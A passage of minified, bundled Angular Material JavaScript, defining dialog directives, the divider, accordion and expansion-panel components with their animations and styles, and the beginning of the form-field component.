new(m||te)(f.Y36(De,8),f.Y36(f.SBq),f.Y36(X))},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-title",""],["","matDialogTitle",""]],hostAttrs:[1,"mat-dialog-title"],hostVars:1,hostBindings:function(m,b){2&m&&f.Ikx("id",b.id)},inputs:{id:"id"},exportAs:["matDialogTitle"]}),te})(),Et=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-content",""],["mat-dialog-content"],["","matDialogContent",""]],hostAttrs:[1,"mat-dialog-content"]}),te})(),Dt=(()=>{class te{constructor(){this.align="start"}}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-actions",""],["mat-dialog-actions"],["","matDialogActions",""]],hostAttrs:[1,"mat-dialog-actions"],hostVars:4,hostBindings:function(m,b){2&m&&f.ekj("mat-dialog-actions-align-center","center"===b.align)("mat-dialog-actions-align-end","end"===b.align)},inputs:{align:"align"}}),te})();function Pt(te,x){let m=te.nativeElement.parentElement;for(;m&&!m.classList.contains("mat-dialog-container");)m=m.parentElement;return m?x.find(b=>b.id===m.id):null}let Ie=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=f.oAB({type:te}),te.\\u0275inj=f.cJS({providers:[X,P],imports:[ce,a.U8,u.eL,je.BQ,je.BQ]}),te})()},8729:(At,ae,d)=>{"use strict";d.d(ae,{d:()=>u,t:()=>c});var n=d(4650),a=d(1281),s=d(3238);let u=(()=>{class f{constructor(){this._vertical=!1,this._inset=!1}get vertical(){return this._vertical}set vertical(_){this._vertical=(0,a.Ig)(_)}get inset(){return this._inset}set inset(_){this._inset=(0,a.Ig)(_)}}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275cmp=n.Xpm({type:f,selectors:[["mat-divider"]],hostAttrs:["role","separator",1,"mat-divider"],hostVars:7,hostBindings:function(_,S){2&_&&(n.uIk("aria-orientation",S.vertical?"vertical":"horizontal"),n.ekj("mat-divider-vertical",S.vertical)("mat-divider-horizontal",!S.vertical)("mat-divider-inset",S.inset))},inputs:{vertical:"vertical",inset:"inset"},decls:0,vars:0,template:function(_,S){},styles:[".mat-divider{display:block;margin:0;border-top-width:1px;border-top-style:solid}.mat-divider.mat-divider-vertical{border-top:0;border-right-width:1px;border-right-style:solid}.mat-divider.mat-divider-inset{margin-left:80px}[dir=rtl] .mat-divider.mat-divider-inset{margin-left:auto;margin-right:80px}"],encapsulation:2,changeDetection:0}),f})(),c=(()=>{class f{}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({imports:[s.BQ,s.BQ]}),f})()},7084:(At,ae,d)=>{"use strict";d.d(ae,{To:()=>w,ib:()=>De,u4:()=>Be,yz:()=>xt,yK:()=>pe});var n=d(4650),a=d(5017),s=d(1281),u=d(2654);const f=new n.OlP("CdkAccordion");let _=0,S=(()=>{class R{constructor(_e,ct,Je){this.accordion=_e,this._changeDetectorRef=ct,this._expansionDispatcher=Je,this._openCloseAllSubscription=u.w.EMPTY,this.closed=new n.vpe,this.opened=new n.vpe,this.destroyed=new n.vpe,this.expandedChange=new n.vpe,this.id="cdk-accordion-child-"+_++,this._expanded=!1,this._disabled=!1,this._removeUniqueSelectionListener=()=>{},this._removeUniqueSelectionListener=Je.listen((Et,Dt)=>{this.accordion&&!this.accordion.multi&&this.accordion.id===Dt&&this.id!==Et&&(this.expanded=!1)}),this.accordion&&(this._openCloseAllSubscription=this._subscribeToOpenCloseAllActions())}get expanded(){return this._expanded}set expanded(_e){_e=(0,s.Ig)(_e),this._expanded!==_e&&(this._expanded=_e,this.expandedChange.emit(_e),_e?(this.opened.emit(),this._expansionDispatcher.notify(this.id,this.accordion?this.accordion.id:this.id)):this.closed.emit(),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(_e){this._disabled=(0,s.Ig)(_e)}ngOnDestroy(){this.opened.complete(),this.closed.complete(),this.destroyed.emit(),this.destroyed.complete(),this._removeUniqueSelectionListener(),this._openCloseAllSubscription.unsubscribe()}toggle(){this.disabled||(this.expanded=!this.expanded)}close(){this.disabled||(this.expanded=!1)}open(){this.disabled||(this.expanded=!0)}_subscribeToOpenCloseAllActions(){return this.accordion._openCloseAllActions.subscribe(_e=>{this.disabled||(this.expanded=_e)})}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(f,12),n.Y36(n.sBO),n.Y36(a.A8))},R.\\u0275dir=n.lG2({type:R,selectors:[["cdk-accordion-item"],["","cdkAccordionItem",""]],inputs:{expanded:"expanded",disabled:"disabled"},outputs:{closed:"closed",opened:"opened",destroyed:"destroyed",expandedChange:"expandedChange"},exportAs:["cdkAccordionItem"],features:[n._Bn([{provide:f,useValue:void 0}])]}),R})(),g=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({}),R})();var C=d(4080),z=d(6895),H=d(3238),j=d(2687),U=d(5778),G=d(1059),Q=d(2198),oe=d(2986),Ce=d(9521),k=d(8929),K=d(8896),se=d(6787),ee=d(7340);const q=["body"];function we(R,X){}const ce=[[["mat-expansion-panel-header"]],"*",[["mat-action-row"]]],je=["mat-expansion-panel-header","*","mat-action-row"];function Ze(R,X){if(1&R&&n._UZ(0,"span",2),2&R){const _e=n.oxw();n.Q6J("@indicatorRotate",_e._getExpandedState())}}const le=[[["mat-panel-title"]],[["mat-panel-description"]],"*"],Oe=["mat-panel-title","mat-panel-description","*"],Qe=new n.OlP("MAT_ACCORDION"),Ye="225ms cubic-bezier(0.4,0.0,0.2,1)",qe={indicatorRotate:(0,ee.X$)("indicatorRotate",[(0,ee.SB)("collapsed, void",(0,ee.oB)({transform:"rotate(0deg)"})),(0,ee.SB)("expanded",(0,ee.oB)({transform:"rotate(180deg)"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))]),bodyExpansion:(0,ee.X$)("bodyExpansion",[(0,ee.SB)("collapsed, void",(0,ee.oB)({height:"0px",visibility:"hidden"})),(0,ee.SB)("expanded",(0,ee.oB)({height:"*",visibility:"visible"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))])},Ke=new n.OlP("MAT_EXPANSION_PANEL");let dt=(()=>{class R{constructor(_e,ct){this._template=_e,this._expansionPanel=ct}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(n.Rgc),n.Y36(Ke,8))},R.\\u0275dir=n.lG2({type:R,selectors:[["ng-template","matExpansionPanelContent",""]]}),R})(),bt=0;const ze=new n.OlP("MAT_EXPANSION_PANEL_DEFAULT_OPTIONS");let De=(()=>{class R extends S{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(_e,ct,Je),this._viewContainerRef=Et,this._animationMode=Pt,this._hideToggle=!1,this.afterExpand=new n.vpe,this.afterCollapse=new n.vpe,this._inputChanges=new k.xQ,this._headerId="mat-expansion-panel-header-"+bt++,this._bodyAnimationDone=new k.xQ,this.accordion=_e,this._document=Dt,this._bodyAnimationDone.pipe((0,U.x)((te,x)=>te.fromState===x.fromState&&te.toState===x.toState)).subscribe(te=>{"void"!==te.fromState&&("expanded"===te.toState?this.afterExpand.emit():"collapsed"===te.toState&&this.afterCollapse.emit())}),Ie&&(this.hideToggle=Ie.hideToggle)}get hideToggle(){return this._hideToggle||this.accordion&&this.accordion.hideToggle}set hideToggle(_e){this._hideToggle=(0,s.Ig)(_e)}get togglePosition(){return this._togglePosition||this.accordion&&this.accordion.togglePosition}set togglePosition(_e){this._togglePosition=_e}_hasSpacing(){return!!this.accordion&&this.expanded&&"default"===this.accordion.displayMode}_getExpandedState(){return this.expanded?"expanded":"collapsed"}toggle(){this.expanded=!this.expanded}close(){this.expanded=!1}open(){this.expanded=!0}ngAfterContentInit(){this._lazyContent&&this._lazyContent._expansionPanel===this&&this.opened.pipe((0,G.O)(null),(0,Q.h)(()=>this.expanded&&!this._portal),(0,oe.q)(1)).subscribe(()=>{this._portal=new C.UE(this._lazyContent._template,this._viewContainerRef)})}ngOnChanges(_e){this._inputChanges.next(_e)}ngOnDestroy(){super.ngOnDestroy(),this._bodyAnimationDone.complete(),this._inputChanges.complete()}_containsFocus(){if(this._body){const _e=this._document.activeElement,ct=this._body.nativeElement;return _e===ct||ct.contains(_e)}return!1}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(Qe,12),n.Y36(n.sBO),n.Y36(a.A8),n.Y36(n.s_b),n.Y36(z.K0),n.Y36(n.QbO,8),n.Y36(ze,8))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel"]],contentQueries:function(_e,ct,Je){if(1&_e&&n.Suo(Je,dt,5),2&_e){let Et;n.iGM(Et=n.CRH())&&(ct._lazyContent=Et.first)}},viewQuery:function(_e,ct){if(1&_e&&n.Gf(q,5),2&_e){let Je;n.iGM(Je=n.CRH())&&(ct._body=Je.first)}},hostAttrs:[1,"mat-expansion-panel"],hostVars:6,hostBindings:function(_e,ct){2&_e&&n.ekj("mat-expanded",ct.expanded)("_mat-animation-noopable","NoopAnimations"===ct._animationMode)("mat-expansion-panel-spacing",ct._hasSpacing())},inputs:{disabled:"disabled",expanded:"expanded",hideToggle:"hideToggle",togglePosition:"togglePosition"},outputs:{opened:"opened",closed:"closed",expandedChange:"expandedChange",afterExpand:"afterExpand",afterCollapse:"afterCollapse"},exportAs:["matExpansionPanel"],features:[n._Bn([{provide:Qe,useValue:void 0},{provide:Ke,useExisting:R}]),n.qOj,n.TTD],ngContentSelectors:je,decls:7,vars:4,consts:[["role","region",1,"mat-expansion-panel-content",3,"id"],["body",""],[1,"mat-expansion-panel-body"],[3,"cdkPortalOutlet"]],template:function(_e,ct){1&_e&&(n.F$t(ce),n.Hsn(0),n.TgZ(1,"div",0,1),n.NdJ("@bodyExpansion.done",function(Et){return ct._bodyAnimationDone.next(Et)}),n.TgZ(3,"div",2),n.Hsn(4,1),n.YNc(5,we,0,0,"ng-template",3),n.qZA(),n.Hsn(6,2),n.qZA()),2&_e&&(n.xp6(1),n.Q6J("@bodyExpansion",ct._getExpandedState())("id",ct.id),n.uIk("aria-labelledby",ct._headerId),n.xp6(4),n.Q6J("cdkPortalOutlet",ct._portal))},dependencies:[C.Pl],styles:[\'.mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(0.4, 0, 0.2, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);position:relative}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.cdk-high-contrast-active .mat-expansion-panel{outline:solid 1px}.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel,.mat-expansion-panel._mat-animation-noopable{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-content[style*="visibility: hidden"] *{visibility:hidden !important}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>*:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>*:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row .mat-button-base,.mat-action-row .mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-action-row .mat-button-base,[dir=rtl] .mat-action-row .mat-mdc-button-base{margin-left:0;margin-right:8px}\'],encapsulation:2,data:{animation:[qe.bodyExpansion]},changeDetection:0}),R})();class ve{}const We=(0,H.sb)(ve);let xt=(()=>{class R extends We{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(),this.panel=_e,this._element=ct,this._focusMonitor=Je,this._changeDetectorRef=Et,this._animationMode=Pt,this._parentChangeSubscription=u.w.EMPTY;const te=_e.accordion?_e.accordion._stateChanges.pipe((0,Q.h)(x=>!(!x.hideToggle&&!x.togglePosition))):K.E;this.tabIndex=parseInt(Ie||"")||0,this._parentChangeSubscription=(0,se.T)(_e.opened,_e.closed,te,_e._inputChanges.pipe((0,Q.h)(x=>!!(x.hideToggle||x.disabled||x.togglePosition)))).subscribe(()=>this._changeDetectorRef.markForCheck()),_e.closed.pipe((0,Q.h)(()=>_e._containsFocus())).subscribe(()=>Je.focusVia(ct,"program")),Dt&&(this.expandedHeight=Dt.expandedHeight,this.collapsedHeight=Dt.collapsedHeight)}get disabled(){return this.panel.disabled}_toggle(){this.disabled||this.panel.toggle()}_isExpanded(){return this.panel.expanded}_getExpandedState(){return this.panel._getExpandedState()}_getPanelId(){return this.panel.id}_getTogglePosition(){return this.panel.togglePosition}_showToggle(){return!this.panel.hideToggle&&!this.panel.disabled}_getHeaderHeight(){const _e=this._isExpanded();return _e&&this.expandedHeight?this.expandedHeight:!_e&&this.collapsedHeight?this.collapsedHeight:null}_keydown(_e){switch(_e.keyCode){case Ce.L_:case Ce.K5:(0,Ce.Vb)(_e)||(_e.preventDefault(),this._toggle());break;default:return void(this.panel.accordion&&this.panel.accordion._handleHeaderKeydown(_e))}}focus(_e,ct){_e?this._focusMonitor.focusVia(this._element,_e,ct):this._element.nativeElement.focus(ct)}ngAfterViewInit(){this._focusMonitor.monitor(this._element).subscribe(_e=>{_e&&this.panel.accordion&&this.panel.accordion._handleHeaderFocus(this)})}ngOnDestroy(){this._parentChangeSubscription.unsubscribe(),this._focusMonitor.stopMonitoring(this._element)}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(De,1),n.Y36(n.SBq),n.Y36(j.tE),n.Y36(n.sBO),n.Y36(ze,8),n.Y36(n.QbO,8),n.$8M("tabindex"))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel-header"]],hostAttrs:["role","button",1,"mat-expansion-panel-header","mat-focus-indicator"],hostVars:15,hostBindings:function(_e,ct){1&_e&&n.NdJ("click",function(){return ct._toggle()})("keydown",function(Et){return ct._keydown(Et)}),2&_e&&(n.uIk("id",ct.panel._headerId)("tabindex",ct.tabIndex)("aria-controls",ct._getPanelId())("aria-expanded",ct._isExpanded())("aria-disabled",ct.panel.disabled),n.Udp("height",ct._getHeaderHeight()),n.ekj("mat-expanded",ct._isExpanded())("mat-expansion-toggle-indicator-after","after"===ct._getTogglePosition())("mat-expansion-toggle-indicator-before","before"===ct._getTogglePosition())("_mat-animation-noopable","NoopAnimations"===ct._animationMode))},inputs:{tabIndex:"tabIndex",expandedHeight:"expandedHeight",collapsedHeight:"collapsedHeight"},features:[n.qOj],ngContentSelectors:Oe,decls:5,vars:3,consts:[[1,"mat-content"],["class","mat-expansion-indicator",4,"ngIf"],[1,"mat-expansion-indicator"]],template:function(_e,ct){1&_e&&(n.F$t(le),n.TgZ(0,"span",0),n.Hsn(1),n.Hsn(2,1),n.Hsn(3,2),n.qZA(),n.YNc(4,Ze,1,1,"span",1)),2&_e&&(n.ekj("mat-content-hide-toggle",!ct._showToggle()),n.xp6(4),n.Q6J("ngIf",ct._showToggle()))},dependencies:[z.O5],styles:[\'.mat-expansion-panel-header{display:flex;flex-direction:row;align-items:center;padding:0 24px;border-radius:inherit;transition:height 225ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-expansion-panel-header._mat-animation-noopable{transition:none}.mat-expansion-panel-header:focus,.mat-expansion-panel-header:hover{outline:none}.mat-expansion-panel-header.mat-expanded:focus,.mat-expansion-panel-header.mat-expanded:hover{background:inherit}.mat-expansion-panel-header:not([aria-disabled=true]){cursor:pointer}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before{flex-direction:row-reverse}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 16px 0 0}[dir=rtl] .mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 0 0 16px}.mat-content{display:flex;flex:1;flex-direction:row;overflow:hidden}.mat-content.mat-content-hide-toggle{margin-right:8px}[dir=rtl] .mat-content.mat-content-hide-toggle{margin-right:0;margin-left:8px}.mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-left:24px;margin-right:0}[dir=rtl] .mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-right:24px;margin-left:0}.mat-expansion-panel-header-title,.mat-expansion-panel-header-description{display:flex;flex-grow:1;flex-basis:0;margin-right:16px;align-items:center}[dir=rtl] .mat-expansion-panel-header-title,[dir=rtl] .mat-expansion-panel-header-description{margin-right:0;margin-left:16px}.mat-expansion-panel-header-description{flex-grow:2}.mat-expansion-indicator::after{border-style:solid;border-width:0 2px 2px 0;content:"";display:inline-block;padding:3px;transform:rotate(45deg);vertical-align:middle}.cdk-high-contrast-active .mat-expansion-panel-content{border-top:1px solid;border-top-left-radius:0;border-top-right-radius:0}\'],encapsulation:2,data:{animation:[qe.indicatorRotate]},changeDetection:0}),R})(),Be=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-description"]],hostAttrs:[1,"mat-expansion-panel-header-description"]}),R})(),pe=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-title"]],hostAttrs:[1,"mat-expansion-panel-header-title"]}),R})(),w=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({imports:[z.ez,H.BQ,g,C.eL]}),R})()},9549:(At,ae,d)=>{"use strict";d.d(ae,{Eo:()=>dt,G_:()=>Dt,KE:()=>Pt,R9:()=>R,TO:()=>qe,bx:()=>We,hX:()=>xt,lN:()=>Ie,qo:()=>P});var n=d(9643),a=d(6895),s=d(4650),u=d(3238),c=d(445),f=d(1281),E=d(8929),_=d(6787),S=d(3753),g=d(1059),C=d(7625),z=d(2986),H=d(7340),j=d(3353);const U=["connectionContainer"],G=["inputContainer"],Q=["label"];function oe(te,x){1&te&&(s.ynx(0),s.TgZ(1,"div",14),s._UZ(2,"div",15)(3,"div",16)(4,"div",17),s.qZA(),s.TgZ(5,"div",18),s._UZ(6,"div",15)(7,"div",16)(8,"div",17),s.qZA(),s.BQk())}function Ce(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"div",19),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.Hsn(1,1),s.qZA()}if(2&te){const m=s.oxw();s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)}}function k(te,x){if(1&te&&(s.ynx(0),s.Hsn(1,2),s.TgZ(2,"span"),s._uU(3),s.qZA(),s.BQk()),2&te){const m=s.oxw(2);s.xp6(3),s.Oqu(m._control.placeholder)}}function K(te,x){1&te&&s.Hsn(0,3,["*ngSwitchCase","true"])}function se(te,x){1&te&&(s.TgZ(0,"span",23),s._uU(1," *"),s.qZA())}function ee(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"label",20,21),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.YNc(2,k,4,1,"ng-container",12),s.YNc(3,K,1,0,"ng-content",12),s.YNc(4,se,2,0,"span",22),s.qZA()}if(2&te){const m=s.oxw();s.ekj("mat-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-form-field-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-accent","accent"==m.color)("mat-warn","warn"==m.color),s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)("id",m._labelId)("ngSwitch",m._hasLabel()),s.uIk("for",m._control.id)("aria-owns",m._control.id),s.xp6(2),s.Q6J("ngSwitchCase",!1),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngIf",!m.hideRequiredMarker&&m._control.required&&!m._control.disabled)}}function q(te,x){1&te&&(s.TgZ(0,"div",24),s.Hsn(1,4),s.qZA())}function we(te,x){if(1&te&&(s.TgZ(0,"div",25),s._UZ(1,"span",26),s.qZA()),2&te){const m=s.oxw();s.xp6(1),s.ekj("mat-accent","accent"==m.color)("mat-warn","warn"==m.color)}}function ce(te,x){if(1&te&&(s.TgZ(0,"div"),s.Hsn(1,5),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState)}}function je(te,x){if(1&te&&(s.TgZ(0,"div",30),s._uU(1),s.qZA()),2&te){const m=s.oxw(2);s.Q6J("id",m._hintLabelId),s.xp6(1),s.Oqu(m.hintLabel)}}function Ze(te,x){if(1&te&&(s.TgZ(0,"div",27),s.YNc(1,je,2,2,"div",28),s.Hsn(2,6),s._UZ(3,"div",29),s.Hsn(4,7),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState),s.xp6(1),s.Q6J("ngIf",m.hintLabel)}}const le=["*",[["","matPrefix",""]],[["mat-placeholder"]],[["mat-label"]],[["","matSuffix",""]],[["mat-error"]],[["mat-hint",3,"align","end"]],[["mat-hint","align","end"]]],Oe=["*","[matPrefix]","mat-placeholder","mat-label","[matSuffix]","mat-error","mat-hint:not([align=\'end\'])","mat-hint[align=\'end\']"];let Qe=0;const Ye=new s.OlP("MatError");let qe=(()=>{class te{constructor(m,b){this.id="mat-error-"+Qe++,m||b.nativeElement.setAttribute("aria-live","polite")}}return te.\\u0275fac=function(m){return new(m||te)(s.$8M("aria-live"),s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-error"]],hostAttrs:["aria-atomic","true",1,"mat-error"],hostVars:1,hostBindings:function(m,b){2&m&&s.uIk("id",b.id)},inputs:{id:"id"},features:[s._Bn([{provide:Ye,useExisting:te}])]}),te})();const Ke={transitionMessages:(0,H.X$)("transitionMessages",[(0,H.SB)("enter",(0,H.oB)({opacity:1,transform:"translateY(0%)"})),(0,H.eR)("void => enter",[(0,H.oB)({opacity:0,transform:"translateY(-5px)"}),(0,H.jt)("300ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])};let dt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te}),te})(),re=0;const ve=new s.OlP("MatHint");let We=(()=>{class te{constructor(){this.align="start",this.id="mat-hint-"+re++}}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-hint"]],hostAttrs:[1,"mat-hint"],hostVars:4,hostBindings:function(m,b){2&m&&(s.uIk("id",b.id)("align",null),s.ekj("mat-form-field-hint-end","end"===b.align))},inputs:{align:"align",id:"id"},features:[s._Bn([{provide:ve,useExisting:te}])]}),te})(),xt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-label"]]}),te})(),Be=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-placeholder"]]}),te})();const pe=new s.OlP("MatPrefix");let P=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matPrefix",""]],features:[s._Bn([{provide:pe,useExisting:te}])]}),te})();const w=new s.OlP("MatSuffix");let R=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matSuffix",""]],features:[s._Bn([{provide:w,useExisting:te}])]}),te})(),X=0;const Je=(0,u.pj)(class{constructor(te){this._elementRef=te}},"primary"),Et=new s.OlP("MAT_FORM_FIELD_DEFAULT_OPTIONS"),Dt=new s.OlP("MatFormField");let Pt=(()=>{class te extends Je{constructor(m,b,B,ie,Xe,it,wt){super(m),this._changeDetectorRef=b,this._dir=B,this._defaults=ie,this._platform=Xe,this._ngZone=it,this._outlineGapCalculationNeededImmediately=!1,this._outlineGapCalculationNeededOnStable=!1,this._destroyed=new E.xQ,this._hideRequiredMarker=!1,this._showAlwaysAnimate=!1,this._subscriptAnimationState="",this._hintLabel="",this._hintLabelId="mat-hint-"+X++,this._labelId="mat-form-field-label-"+X++,this.floatLabel=this._getDefaultFloatLabelState(),this._animationsEnabled="NoopAnimations"!==wt,this.appearance=ie?.appearance||"legacy",ie&&(this._hideRequiredMarker=Boolean(ie.hideRequiredMarker),ie.color&&(this.color=this.defaultColor=ie.color))}get appearance(){return this._appearance}set appearance(m){const b=this._appearance;this._appearance=m||this._defaults?.appearance||"legacy","outline"===this._appearance&&b!==m&&(this._outlineGapCalculationNeededOnStable=!0)}get hideRequiredMarker(){return this._hideRequiredMarker}set hideRequiredMarker(m){this._hideRequiredMarker=(0,f.Ig)(m)}_shouldAlwaysFloat(){return"always"===this.floatLabel&&!this._showAlwaysAnimate}_canLabelFloat(){return"never"!==this.floatLabel}get hintLabel(){return this._hintLabel}set hintLabel(m){this._hintLabel=m,this._processHints()}get floatLabel(){return"legacy"!==this.appearance&&"never"===this._floatLabel?"auto":this._floatLabel}set floatLabel(m){m!==this._floatLabel&&(this._floatLabel=m||this._getDefaultFloatLabelState(),this._changeDetectorRef.markForCheck())}get _control(){return this._explicitFormFieldControl||this._controlNonStatic||this._controlStatic}set _control(m){this._explicitFormFieldControl=m}getLabelId(){return this._hasFloatingLabel()?this._labelId:null}getConnectedOverlayOrigin(){return this._connectionContainerRef||this._elementRef}ngAfterContentInit(){this._validateControlChild();const m=this._control;m.controlType&&this._elementRef.nativeElement.classList.add(`mat-form-field-type-${m.controlType}`),m.stateChanges.pipe((0,g.O)(null)).subscribe(()=>{this._validatePlaceholders(),this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),m.ngControl&&m.ngControl.valueChanges&&m.ngControl.valueChanges.pipe((0,C.R)(this._destroyed)).subscribe(()=>this._changeDetectorRef.markForCheck()),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,C.R)(this._destroyed)).subscribe(()=>{this._outlineGapCalculationNeededOnStable&&this.updateOutlineGap()})}),(0,_.T)(this._prefixChildren.changes,this._suffixChildren.changes).subscribe(()=>{this._outlineGapCalculationNeededOnStable=!0,this._changeDetectorRef.markForCheck()}),this._hintChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._processHints(),this._changeDetectorRef.markForCheck()}),this._errorChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),this._dir&&this._dir.change.pipe((0,C.R)(this._destroyed)).subscribe(()=>{"function"==typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>this.updateOutlineGap())}):this.updateOutlineGap()})}ngAfterContentChecked(){this._validateControlChild(),this._outlineGapCalculationNeededImmediately&&this.updateOutlineGap()}ngAfterViewInit(){this._subscriptAnimationState="enter",this._changeDetectorRef.detectChanges()}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_shouldForward(m){const b=this._control?this._control.ngControl:null;return b&&b[m]}_hasPlaceholder(){return!!(this._control&&this._control.placeholder||this._placeholderChild)}_hasLabel(){return!(!this._labelChildNonStatic&&!this._labelChildStatic)}_shouldLabelFloat(){return this._canLabelFloat()&&(this._control&&this._control.shouldLabelFloat||this._shouldAlwaysFloat())}_hideControlPlaceholder(){return"legacy"===this.appearance&&!this._hasLabel()||this._hasLabel()&&!this._shouldLabelFloat()}_hasFloatingLabel(){return this._hasLabel()||"legacy"===this.appearance&&this._hasPlaceholder()}_getDisplayedMessages(){return this._errorChildren&&this._errorChildren.length>0&&this._control.errorState?"error":"hint"}_animateAndLockLabel(){this._hasFloatingLabel()&&this._canLabelFloat()&&(this._animationsEnabled&&this._label&&(this._showAlwaysAnimate=!0,(0,S.R)(this._label.nativeElement,"transitionend").pipe((0,z.q)(1)).subscribe(()=>{this._showAlwaysAnimate=!1})),this.floatLabel="always",this._changeDetectorRef.markForCheck())}_validatePlaceholders(){}_processHints(){this._validateHints(),this._syncDescribedByIds()}_validateHints(){}_getDefaultFloatLabelState(){return this._defaults&&this._defaults.floatLabel||"auto"}_syncDescribedByIds(){if(this._control){let m=[];if(this._control.userAriaDescribedBy&&"string"==typeof this._control.userAriaDescribedBy&&m.push(...this._control.userAriaDescribedBy.split(" ")),"hint"===this._getDisplayedMessages()){const b=this._hintChildren?this._hintChildren.find(ie=>"start"===ie.align):null,B=this._hintChildren?this._hintChildren.find(ie=>"end"===ie.align):null;b?m.push(b.id):this._hintLabel&&m.push(this._hintLabelId),B&&m.push(B.id)}else this._errorChildren&&m.push(...this._errorChildren.map(b=>b.id));this._control.setDescribedByIds(m)}}_validateControlChild(){}updateOutlineGap(){const m=this._label?this._label.nativeElement:null,b=this._connectionContainerRef.nativeElement,B=".mat-form-field-outline-start",ie=".mat-form-field-outline-gap";if("outline"!==this.appearance||!this._platform.isBrowser)return;if(!m||!m.children.length||!m.textContent.trim()){const Gt=b.querySelectorAll(`${B}, ${ie}`);for(let qt=0;qt<Gt.length;qt++)Gt[qt].style.width="0";return}if(!this._isAttachedToDOM())return void(this._outlineGapCalculationNeededImmediately=!0);let Xe=0,it=0;const wt=b.querySelectorAll(B),Vt=b.querySelectorAll(ie);if(this._label&&this._label.nativeElement.children.length){const 